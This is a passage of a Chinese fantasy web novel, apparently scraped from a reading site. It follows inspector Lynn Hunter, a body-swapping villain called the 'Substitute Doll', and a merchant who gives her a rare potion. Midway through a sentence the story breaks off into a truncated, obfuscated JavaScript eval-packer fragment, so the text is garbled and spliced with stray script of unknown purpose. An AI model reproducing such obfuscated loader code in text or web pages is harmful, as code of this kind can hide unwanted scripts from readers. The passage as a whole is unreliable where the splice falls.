正在被消化的并不是“她”,而是一部分原有的灵魂,属于真正的林恩的灵魂! 那些灵魂碎片里,裹挟着一粒一粒尘埃般的幼年噬土畸体碎屑,一同融入骨髓。 林恩意识到,自己正在“吸收”那些异种生物。 那些能致死的、可怖的东西,对她来说并非毒素,反而更像是养分,一寸一寸融合进她的身体里。 林恩“看”到了:世界暗得出奇,巨大且厚重的遮挡物将一切光线与声音隔绝在外。 但噬土畸体的碎片如同星辰,彼此连接起来。 光线编织的交点,指向绯通亚矿场。 是噬土畸体的“母神”! 如同吸引朝圣者一般,母神吸引着林恩体内澎湃的幼年噬土畸体。 「来吧!我的孩子们!」 「来吧!」 祂在呼唤。 == “替身玩偶”大口大口呼吸着空气。 子弹击入头颅的残留疼痛,让他止不住哀嚎。 该死的…… 该死的林恩·亨特! 他一开始就应该杀掉她的! 只是7级信徒,他本不该如此频繁地使用“替身”异能,但是天不遂人愿。 强行使用“替身”的代价是,他会随机损失一个器官。 上一次是左腿,好在他安装了黄铜假肢。 但这一次,是一只眼睛。 并且,新获得的躯体并不令人满意。 这个身体虽然年轻,但有一个致命的缺点:这个女人似乎只是旅店扫洒的女仆,体质普通且身材瘦小。 仅仅是搬动了“艾迪·穆德”的身体,他就累得气喘吁吁。 等到异能恢复,大约得再换一次身体。 “替身玩偶”心想。 不管怎么说,碎金城的一切功亏一篑,他多少有些可惜。 但是,在作为艾迪·穆德的这段时间里,他成功收买了詹姆斯·威利斯,并且重新联系上了理查德四世曾经的部下。 或许这一次…… 他离王位更近了。 他站起身,蹒跚着往旅店走,一边从围裙口袋里掏出一张证件。 【玛莎·德雷奇】 现在,他叫这个名字。 不,现在,应该称呼为“她”! == 家庭式旅店内。 亚瑟·艾伯特先生大方地支付了1万金塔拉的赔偿款,一边在餐厅坐下,和林恩、莱亚一道享用久违的早餐。 他已经一整天没吃过饭了,老板特意准备了牛奶麦片粥。 一万金塔拉,对林恩来说完全算得上巨款,但却只是亚瑟·艾伯特资产的零头。 他完全不在乎这一点花销。 林恩已经一整夜没合眼了,她特意要了一杯咖啡,以防万一自己聊到一半睡着。 “艾伯特先生,能跟我们说说,您到底经历了什么吗?” 亚瑟·艾伯特张了张嘴。 由于遭遇了巨大的精神创伤,他的大脑里出现了大段的记忆空白。 他过了一会儿,才终于想到了一些。 “大概是我从黑色集市出来后的事情。” 艾伯特先生说,“我还在路上走,就忽然遭到攻击——好像是某种特殊的咒语,我立刻昏倒了,什么都记不清了。” 咒语? 林恩端起咖啡抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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亚瑟·艾伯特点了点头,对这个名字并不在意。 “明面上,我是皇家钢铁公司的经理;但同时,我也给波尔家族购置一些超凡物。” “您是信徒?” 听到这句话,艾伯特笑了,随后摇了摇头。 “我可以进入黑色集市,纯粹是因为,我是它的筹办人之一。” 他完全没有掩饰自己的权力与丰厚的资产。 艾伯特先生继续说: “我得到了一个有些骇人的消息,我不介意分享给你们。” 他深呼吸一口,“理查德四世还活着,甚至仍旧对王位虎视眈眈。” 理查德四世? 林恩几乎不敢相信自己的耳朵: 不是理查德四世的儿子、而是理查德四世本人? 他不是在肃清之战中死了吗? “唔,是的。” 艾伯特明白林恩的不解,“我不清楚他怎么逃离出壁垒森严的浅湖宫,但总之他成功了。” “他逃去哪里了?” “蚀日联邦。” 艾伯特对此并不笃定,“但是,理查德四世一直想重返新阿尔卡迪亚,想要从玛格丽特国王手中将王权抢夺回去。” “理查德四世大概不年轻了,他还做得到吗?” 林恩试探地问道,“还是说,他的子嗣继承了他的遗志?” 艾伯特:“您说的大概是厄尔奇王子吧……他是个内向的孩子,似乎与理查德四世有些龃龉,并且对王位没什么兴趣。” 如果艾伯特所述属实,会不会有一种大胆的可能性: “艾迪·穆德”并非“国王的儿子”,而是理查德四世国王本人?! 作为替身玩偶,他夺取了儿子的身体、顺利逃出了碎金城,并以此身份重新谋划谋反?! 59. 长岸镇(四) 亚瑟·艾伯特喝光了红茶,又四处打量着旅店。 “你们什么时候回绯通亚小镇?” 他露出和善的笑脸,“如果不介意我多事,或许可以入住我们的旅店,就在一个街区之外。” 这不是个坏主意。 尤其是,经历了前一夜的危机之后,林恩本能地对这家旅店的安全性产生质疑。 她想了下,“我们购买的是两天之后的车票。如果您不觉得我们是累赘的话,我当然愿意前往!” “既然这样,不如我们直接出发吧。” 亚瑟·艾伯特将空盘推到桌子正中央,拿手帕擦拭嘴角后站起身,整理了一下皱巴巴的衣服。 “您或许也需要休息,审查官。” 林恩深以为然。 她同样站起身,将篮子里最后一个黄油可颂随手拿了起来,又学着艾伯特先生给服务生放下1银舌尔的小费。 身穿卡其色围裙的年轻女人走了过来。 她双眼底下是浓重的青色黑眼圈,姜黄色的卷发蓬松地披在脑后: 大概是昨晚的一场热战,让她没能熟睡。 林恩的视线与女仆的眼珠对撞。 她有一双深棕色的眼睛,虽然漂亮,但似乎没什么神采。 “早上好,女士。”年轻的女仆打着招呼,微微躬身的她露出谦卑的姿态。 “早。” 林恩点了点头。 “您在看什么呢?”莱亚催促她,“没什么可吃的,快走吧。” 林恩用餐巾快速擦拭着油滋滋的手指,快步追了上去。 == 严谨的亚瑟·艾伯特先生将新酒店描述为一个街区之外,事实果真没错。 林恩只乘坐了几分钟马车,富丽堂皇的“里兹酒店”就赫然出现在眼前,紧邻长岸镇繁忙的城市河道。 酒店里散发出迷人的薰衣草香气,来往的宾客多是西装革履的体面人,甚至有不少手持手杖的“神学院”信徒。 好在,他们也都不认识莱亚。 “你们的房间在3层与4层,都是面朝河景的套房。” 从工作人员手中接过两把一模一样的钥匙后,艾伯特先生迅速分发给二人,又诚挚询问道: “或许,你们还想逛逛集市吗?” 这是邀请他们前往黑色集市、甚至愿意买单的意思。 林恩的兴趣没有消散,但困意席卷而来,让她不得不退却。 “艾伯特先生,或许可以等下午。” 她打了个呵欠,声音沙哑,“您应该也没休息吧。” “的确,那我们都休息一会儿吧。”艾伯特先生点头,“如果有什么要紧的事情,那就通过房间里的通话管联系我吧,我住在501。” 林恩诧异: 里兹酒店竟然给每个房间都配备了通话管?! 看来它的主人真是财大气粗。 三人一同踏进自动齿轮升降机,莱亚·古德温的房间就在三楼,便率先离开。 等到狭窄的升降机内只剩下林恩与亚瑟·艾伯特时,这位经理开口了: “或许,审查官你可以来我的房间一趟。” “嗯?” 升降机停在四楼。 林恩看向亚瑟·艾伯特,终于意识到在酒店大堂里,那种若有似无的古怪感觉是什么了。 似乎艾伯特有意支开莱亚。 他早就谋划好了,想和自己单独交流。 “叮”一声,升降机的铁质大门重新合上。 林恩道:“可以的,艾伯特先生。” “不用太疑惑,只不过是一点小小的感激礼物。” 亚瑟·艾伯特说道,“只不过,我没有随身携带而已。” 虽说林恩并不为金钱或奖赏而救他,但亚瑟·艾伯特并不认为自己可以心安理得地接受这一切。 没有人比他更清楚,那位绑架者的空前实力了。 不管怎么说,林恩·亨特审查官都冒了很大的风险。 “其实您根本没有必要做这些,先生。” 艾伯特摇头,一边掏出钥匙。 “我每周都去一次教堂,审查官,神教导我需要懂得感恩、需要感激众人。” 说着,他从保险箱里掏出一只金属盒子,顺手打开了它。 黄金制作的小巧瓶身,封口使用了淡白色的铅,因此在手里很有分量。 林恩拿了起来,却根本不知道里面装着什么,只听出是一种液体。 ——她下意识联想到母亲玛丽亚·通古拉偷走的“王室秘宝”。 对林恩的疑惑心知肚明,亚瑟·艾伯特直接解释起来: “这是囚禁药剂。” 囚禁药剂? 林恩欲言又止。 这就是莱亚·古德温所说的……很难获得的囚禁药剂吧! “这东西太珍贵了,先生!” 艾伯特先生没有否认,反而勾唇笑了。“但不如生命珍贵,审查官。” 他继而又问,“您知道这东西怎么使用吗?” 林恩摇头。 “由于囚禁药剂相当稀有,并且极其容易变质,所以不得不储存在密封的黄金药剂瓶里。 打开药剂瓶,需要用火灼烧瓶口,将金属铅彻底融化。” 林恩插嘴,“囚禁药剂也是口服吗?” “需要堵住信徒的耳鼻,将药剂从口腔里灌进去。”艾伯特说,“请记住,一滴都不能漏出来。” 为什么要刻意提醒这一句? 林恩下意识皱了皱眉。 艾伯特看出林恩的纳闷, “因为许多人会给尚且存活的信徒使用囚禁药剂。这也是为什么我一直拒绝成为信徒——你永远无法想象人类有多么心狠手辣。” “他们总认为,别人的性命是不要紧的。” 林恩叹了口气,又问道,“先生,您会把这件事通知波尔家族吗?” “当然。” 艾伯特先生说起这件事就有些头疼,“波尔先生让我购买疾速之履,这东西没拿到手,我总需要解释一下缘由。” 林恩从怀里掏出一个软绵绵的布袋子,放在艾伯特先生面前。 “如果您寄包裹去碎金城,麻烦您把东西交给阿曼达审查官吧。” 她说,“这里面的东西,或许她会感兴趣。” 亚瑟·艾伯特答应下来,“有什么需要传达的消息吗?” “请告诉首席审查官,艾迪·穆德就是替身玩偶。”林恩说,“其他的,她大概都能猜到。” “没有问题。”艾伯特说,“皇家钢铁公司有专用的飞艇。等到您睡醒,或许阿曼达·德·波尔就能收到包裹了。” == 与亚瑟·艾伯特告别后,林恩揣着价值千金的囚禁药剂下楼。 在自己的房间门口,她遇到了双手抱胸、等待已久的莱亚·古德温。 不知为何,林恩感到一丝被捉奸的尴尬。 “总算回来了!是不是艾伯特偷偷给你准备了 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“第一个问题,你是不是清楚艾迪·穆德的身份?包括他是替身玩偶、且为理查德四世的私生子。” 林恩沉默。 比起询问,这更像是莱亚开诚布公地告知。 他是不是陷入疯狂了? “我知道他是替身玩偶,也知道他对我进行了‘灵魂驱赶’。但我不知道他是私生子——我以为他是王子厄尔奇。” 莱亚·古德温说:“费尔南德。他叫费尔南德·菲茨理查德*。” 艾迪·穆德死了,原本束缚莱亚的异能限制也自动失效。 他准备在“替身玩偶”下一次出现之前,一股脑儿把所知的内容全都说出来。 “他想夺取王位?” “是的。费尔南德将所有王室成员都视为自己的眼中钉;不仅包括国王,还有他的父亲理查德四世。” 莱亚道,“他抢先一步回到了新阿尔卡迪亚,并把理查德四世的旧部下收入囊中。” 其中就包括威利斯先生。 “现在你该怎么办?”林恩问,“艾迪——不,替身玩偶知道你已经背叛了他,你的处境很糟糕。” “不会比你一开始更糟糕了,审查官。差点变成费尔南德替身的对象,还遭遇了夜魔与飞艇坠落——我真不知道您是怎么混过去的!” 莱亚哈哈笑起来,“好在我不缺自保的手段。反倒是你,你为什么没有被异种生物影响?” “我不知道。” 说起这个,林恩也没有答案,“我似乎对异种生物免疫——并不是完全没影响,而是这种影响很小,以至于我不用担心自己会丧命。” 虽然有些可惜,但莱亚知道林恩没有撒谎。 他从甜品盘里拿起一枚迷你司康,塞进嘴里,说话便有些含糊不清。 “好吧,最后一个问题。你的异能究竟是什么?” 此言一出,气氛瞬间凝滞住。 林恩纠结: 倘若与莱亚坦白,那就相当于主动暴露自己的弱点。 但他们似乎从很久之前起,就已经是一条绳上的蚂蚱了。 她喝下一口热茶,盯着莱亚玻璃珠般的眼睛。 “记忆搜查,我的异能是,查看你们的记忆。”